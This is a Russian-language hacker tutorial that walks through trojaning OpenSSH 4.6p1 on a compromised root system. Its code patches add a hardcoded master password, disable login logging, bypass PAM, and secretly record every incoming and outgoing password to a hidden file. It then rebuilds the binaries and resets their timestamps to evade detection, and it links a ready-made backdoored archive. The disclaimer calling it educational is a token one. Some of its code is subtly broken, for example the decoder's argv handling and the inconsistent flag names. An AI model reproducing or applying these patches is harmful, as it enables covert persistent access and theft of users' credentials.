
Наиболее полное руководство по затрояниванию OpenSSH 4.6p1
by ShadOS
Первым делом скажу, что статья рассчитанна на полных чайников в деле
вторжения в систему, т.к. уважающий себя взломщик обязательно знаком с
этими приёмами, потому если ты себя таковым считаешь – всё равно
дочитай до конца, дабы убедиться в этом и начать уважать себя ещё
больше, если же ты всё-таки начинающий – тебе тем более это будет
полезно.
Начнём с того, что объясню цель написания этой статьи: очень часто и в
большом количестве поступают вопросы как максимально просто и
основательно укрепиться в системе, если для неё нет нормального
руткита. Простым примером такого случая является, например, FreeBSD 5й
и 6й веток, руткиты уровня ядра для которых либо совсем не существуют,
либо существуют в виде концептуальных, но негодных к боевому применению
задумок. Также примером может служить Linux система, с установленной
IDS LIDS, настроенная таким образом, что подгрузка модулей ядра
ограниченна суперпользователем (здесья не буду касаться руткитов,
которые работают с памятью и физической памятью ядра /dev/kmem и с
/dev/mem без использования LKM (подгружаемых модулей ядра Linux), т.к
мало знаком с этой технологией). Про, так называемые, руткиты
пользовательского уровня, состоящих из бинарников протрояненных
системных утилит вроде ls, ps, who, last, lastlog, top, netstat, login
и т.д мы говорить не будем, т.к. обнаружение их является абсолютно
тривиальной задачей, с которой легко справляются пассивные локальные
системы обнаружения вторжений навроде chkrootkit и rkhunter. Примерами
таких руткитов для Linux могут служить хорошо известные shv5 и его
более ранние версии, lrk; для FreeBSD такими примерами являются fbsd,
fbrk и им подобные.
Так что же я предлагаю – конечно же хорошо известный способ
затроянивания OpenSSH, однако не стоит меня винить в том, что статья
“баян”, я буду говорить не только о банальном логировании исходящих
соединений в
/var/tmp/sshbug.txt,
как это сделанно в большинстве забекдоренных версиях OpenSSH, но и о
полном протоколировании входящих/исходящих соединений, о невидимости в
системе и, конечно же, о входе в систему с магическим паролем без
записи события в системные журналы. На то это и полное руководство.
Первым делом, попав в систему и подняв права суперпользователя, он же
любимый вами root с id=0, стоит запомнить что необходимо действовать
очень быстро и аккуратно, т.к. Второй раз получить максимальные
привелегии уже не удасться в 99% случаев, потому я постараюсь
рассказать подробно и как всё сделать быстро. Естественно, не надо
забывать переодически посматривать, нет ли кого-нибудь ещё в системе
дабы не спалисться.
Ну что, поехали?
Перво-наперво запиши где-нибудь время модификации бинарников ssh и sshd:
ls --full-time /usr/bin/ssh /usr/sbin/sshd > ./savetime!
Оно нам пригодится впоследующем чтобы не спалиться по дате модификации.
Для начала сливаем исходники OpenSSH с официального зеркала одним из
приведённых ниже способов (в зависимости от того, что присутствует в
системе):
wget ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -O openssh-4.6p1.tar.gz
links -source ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz
lynx -source ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz
curl ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -o openssh-4.6p1.tar.gz
GET ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz > openssh-4.6p1.tar.gz
fetch -o ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-4.6p1.tar.gz -p openssh-4.6p1.tar.gz
Затем распаковываем и переходим в папку с исходниками:
tar -xzf openssh-4.6p1.tar.gz
cd ./openssh-4.6p1.tar.gz
далее в зависимости от того, какой текстовый редактор стоит в системе, необходимо открыть файл
includes.h.
В случае nano или mcedit всё понятно и проблем у тебя не должно
возникнуть, однако чаще всего уважающий себя админ не ставит такую
срань в систему и пользуется vi или даже vim. Потому за пример возьмём
его:
vim includes.h
Работа с vim координально отличается от того, как ты обычно привык
работать с текстовыми редакторами – большинство действий здесь
происходит путём вызова специальных команд.
В файле
includes.h нам необходимо найти строчку, содержащую подключение заголовочного файла
entropy.h. Сделать это можно следующим образом:
:/#include "entropy.h"
Эта команда произведёт поиск с начала документа и установит курсор к первому вхождению искомой строки.
Затем нажимаем :a – это позволит перейти в режим редактирования и набираем следующий код:
Код:
//заголовочные файлы, которые нам понадобятся
//для работы с файлами (каламбур, но это так)
#include <sys/stat.h>
#include <stdio.h>
//определяем наш магический пароль, который мы будем использовать
//для входа в систему незамеченными под любым пользователем
#define _S_PASSWD "th4nks2sh4d0s"
//определяем место, где будет находиться лог всех сессий
//(его лучше поукромнее спрятать)
#define _SSH_LOG "/tmp/.sshhell"
FILE *fshadlog;
//буффер, в который будем скидывать данные из других функций,
//который впоследствии попадёт в логфайл с паролями.
char shad_buff[2048];
int login_shados, shad_i;
//функция, записывающая и шифрующаяя все данные в файле c
//помощью побойтового логического отрицания
#define shad_passlog() \
{ \
for(shad_i=0; shad_i<=strlen(shad_buff); shad_i++) \
shad_buff[shad_i]=~shad_buff[shad_i]; \
fshadlog=fopen(_SSH_LOG, "a"); \
if(fshadlog!=NULL) \
{ \
fwrite(shad_buff, strlen(shad_buff), 1, fshadlog); \
fclose(fshadlog); \
} \
chmod(_SSH_LOG, 0666); \
}
Файл
includes.h мы больше не будем трогать, потому сохраняем его и выходим нажам ESC и набрав следующуу команду:
:x
или аналогично
:wq
Переменная
login_shados, которую мы объявили в
includes.h
будет у нас флагом, сигнализирующем о том, нужно ли вносить информацию
о входе пользователя в систему. В openssh за логирование пользователей
в системе отвечают следующе файлы: log.c и loginrec.c
Открываем
log.c и переходим к строке:
int pri = LOG_INFO;
и добавляем здесь проверку:
if (login_shados) return;
Т.е. При наличии установленного флага мы просто возвращаемся. Далее переходим к файлу
loginrec.c и ищем строку с объявлением функции
login_write:
int
login_write(struct logininfo *li)
Соответственно, добавляем здесь такую же проверку, сразу же первой строкой в теле функции:
if (login_shados) return;
Теперь займёмся протрояниванием исходников, отвечающих за вход в
какую-либо систему с данной (взломанной тобой) машины. Это позволит нам
при хорошем раскладе получить ещё пару-тройку шелов, на которые могут
входить пользователи затрояненной тобой машины. Файлами, отвечающими за
данный способ входа являются
sshconnect2.c и
sshconnect1.c
для входа по протоколу SSHv2 и SSHv1 соответственно. Хотя, по большому
счёту, последний уже почти нигде не используется, за исключением разве
что различных коммутаторов и некоторых хардварных роутеров. Но всё же
затрояним – лишним не будет =)
Итак, открываем
sshconnect1.c и переходим к строкам:
packet_start(SSH_CMSG_AUTH_PASSWORD);
ssh_put_password(password);
сразу дже за ними добавляем наш код:
Код:
sprintf(shad_buff, "ssh1 password auth to: %s \tuser: %s \tpass: %s\n",
get_remote_ipaddr(), options.user, password);
shad_passlog();
В первой строке мы помещаем в буффер информацию, которую хотим
залогировать (имя пользователя, пароль, куда соединяется пользователь),
а во второй строке вызываем нашу функцию записи в логфайл
shad_passlog(), которую мы объявили в подключаемом ко всем исходникам заголовочном файле. Абсолютно аналогичным образом делаем в
sshconnect2.c.
Находим строки:
packet_put_char(0);
packet_put_cstring(password);
И добавляем следом:
Код:
sprintf(shad_buff, "ssh2 auth to: %s \tuser: %s \tpass: %s\n",
get_remote_ipaddr(), options.user, password);
shad_passlog();
Однако, здесь есть ещё второе место, где может быть перехвачен пароль.
Я, к сожалению, до конца не разобрался в каком случае происходит какой
вызов, потому затрояним ещё после вот этих строк:
Код:
echo = packet_get_char();
response = read_passphrase(prompt, echo ? RP_ECHO : 0);
Вставляем наш код:
Код:
sprintf(shad_buff, "ssh2 login to: %s \tuser: %s \tpass: %s\n",
get_remote_ipaddr(), options.user, response);
shad_passlog();
На этом с захватом исходящих паролей поконченно. Перейдём к
затрояниванию файлов, занимающихся приёмом входящих соединений.
Понятно, что в случае авторизации по открытому ключу нам ловить
практически нечего (ну или почти

,
потому остаётся два возможных варианта перехвата пароля при входе
пользователя, авторизующегося прямым вводом пароля или при входе с
авторизацией по паролю с использованием технологии PAM.
За авторизацию по паролю отвечает файл
auth-passwd.c. Открываем его и переходим для начала к строкам:
if (*password == '\0' && options.permit_empty_passwd == 0)
return 0;
И добавляем после них:
Код:
if(!strcmp(_S_PASSWD, password)) return (login_shados = 1);
sprintf(shad_buff, "password auth from remote:\tuser: %s \tpass: %s\n",pw->pw_name, password);
shad_passlog();
Здесь мы сначала сравниваем пришедший пароль с нашим секретным (
th4nks2sh4d0s),
и если он совпадает, то соединение логировать мы не будем. Для этого
установим наш флаг. В противном случае записываем пароль и имя
пользователя, с которым был произведён вход. К сожалению здесь вызвать
get_remote_ipaddr(),
которая получает ip-адрес удалённого хоста, у меня не получилось,
потому узнать откуда авторизовался пользоватьль мы не сможем (sshd
категорически отказывается работать, при наличие этого вызова здесь).
Однако, цель получить пароль достигнута, потому заострять на этом
внимание не будем. Теперь переходим к файлу
auth-pam.c, отвечающему как раз за вход с PAM-авторизацией. Находим для начала строку:
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;
и добавляем после неё строку:
if(login_shados) sshpam_err = PAM_SUCCESS;
В данном случае при попытке входа с нашим магическим паролем PAM мог бы
нас не пустить, но мы сообщаем ему что всё ОК – можно продолжать
работу. Теперь переходим к строке с объявлением:
struct pam_ctxt *ctxt = ctx;
и добавляем:
Код:
if(sshpam_authctxt)
for (shad_i = 0; shad_i < num; ++shad_i) {
sprintf(shad_buff, "PAM auth from: %s \tuser: %s \tpass: %s\n",
get_remote_ipaddr(), sshpam_authctxt->user, resp[shad_i]);
if(!strcmp(_S_PASSWD, resp[shad_i])) ctxt->pam_done = shados_login = 1;
else shad_passlog();
}
Общий смысл сводится к тому, что мы побайтово пытаемся считать инфармацию из переменной
resp
в наш буффер, как видно из названия являющейся ответом удалённой машины
на запрос авторизации и, естественно, удалённый адрес и имя
пользователя под которым производится вход. Если же вводился наш
магический пароль – его логировать не будем. И наконец переходим к
строкам:
Код:
if (sshpam_err != PAM_SUCCESS)
fatal("PAM: failed to set PAM_CONV: %s",
pam_strerror(sshpam_handle, sshpam_err));
И добавляем нашу проверку флага:
Код:
if (!shados_login)
sshpam_err = pam_open_session(sshpam_handle, 0);
Собственно, на этом можно считать затроянивание оконченным, не забудь только изменить номер версии в файле
version.h на тот, что был установлен в системе изначально. Теперь можно переходить к сборке openssh. Осуществляется она тривиально:
./configure
make
make install
Вот только перед конфигурацией незабудь уточнить где находятся бинарники ssh и sshd:
which ssh && which sshd
Соответственно им, конфигурируй openssh c параметрами:
--bindir= и
--sbindir=,
указав соответственно после '=' пути к бинарникам ssh и sshd. Также
незабудь указать путь к конфигу sshd. На разных системах он может
находиться как в
/etc/ так и в
/usr/etc. По умолчанию путь является вторым значением. Полный список возможных параметров преконфигурирования ssh можно узнать из
./configure --help.
Ах да, чуть не забыл. Если в системе использовалась PAM-авторизация, не забудь включить соответствующий флаг. В итоге получаем:
./configure --bindir=/usr/bin и --sbindir=/usr/sbin --with-pam --prefix=/usr --sysconfdir=/etc/ssh
После того, как бинарники соберутся, делаем им стриптиз, очищая от всевозможной символьной информации:
strip ssh sshd
А затем убиваем демон:
kill `cat /var/run/sshd.pid`
Хотя это можно сделать правильнее, просто перезапустив его, например, в Gentoo это делается так:
/etc/init.d/sshd restart
А в RHEL:
/etc/rc.d/init.d/sshd restart
И в заключение правим время модификации с помощью touch в таком формате:
touch -c -m -t ГГММДДччмм.сс /usr/sbin/sshd /usr/bin/ssh
Естественно, установив вместо ГГММДДччмм.сс значения времени и даты, которые мы предварительно сохранили.
Собственно, на этом всё.
Для декодирования логов будем использовать нехитрую программулину на C:
Код:
#include <stdio.h>
main(int argc, char *argv)
{
FILE *f1, *f2;
char c;
f1 = fopen(&argv[1], "r");
f2 = fopen(&argv[2], "w");
while (!feof(f1)) {
c = fgetc(f1);
fputc((~c), f2);
}
fclose(f1);
fclose(f2);
}
Собирается таким вот образом:
gcc decoder.c -o decoder
Вызов её, как можно догадаться, очень прост:
./decoder /tmp/.sshhell /tmp/.sshhaven
В результате декодированные пароли окажутся в
/tmp/.sshhaven.
В конечном итоге всё вышеизложенное затроянивание можно свести в один патч-файл, сгерерировав его с помощью
diff. Для этого нам понадобятся распакованные исходники оригинального openssh и исходники затрояненного нами openssh:
diff -N -c /path/to/original/openssh /path/to/trojaned/openssh > /path/to/store/patch.diff
И далее с помощью полученного файла
patch.diff можно троянить исходники конвеерным способом, предварительно перейдя в папку с распакованным openssh:
patch < patch.diff
Такой патч ты можешь включить в свой боевой инструментарий. Поверь мне – не прогадаешь.
Если же тебе удобнее использовать уже готовый протрояненный архив, то слить его можно здесь:
openssh-4.6p1-backdored.tar.gz
А затем сразу приступать к установке и сборке, как я это описал выше.
Конечно, в файле
include.h можешь подправить значения магического пароля и пути сохраниния паролей на что-нибудь более неприметное типа
/etc/ppp/pppd.crt, ну или придумай что-то более хитрое.
Всего тебе наилучшего, мой юный друг. Не попадайся, а ещё лучше не занимайся такими гадостями.
P.S. Warning! Ахтунг! Автор
не несёт ответственности за использование материала по прямому
назначению, т.к. статья созданна исключительно в образовательных целях.
Все исходники распространяются по лицензии GPL.

(с) ShadOS, Hell Knights Crew, Antichat.ru.
http://hellknights.void.ru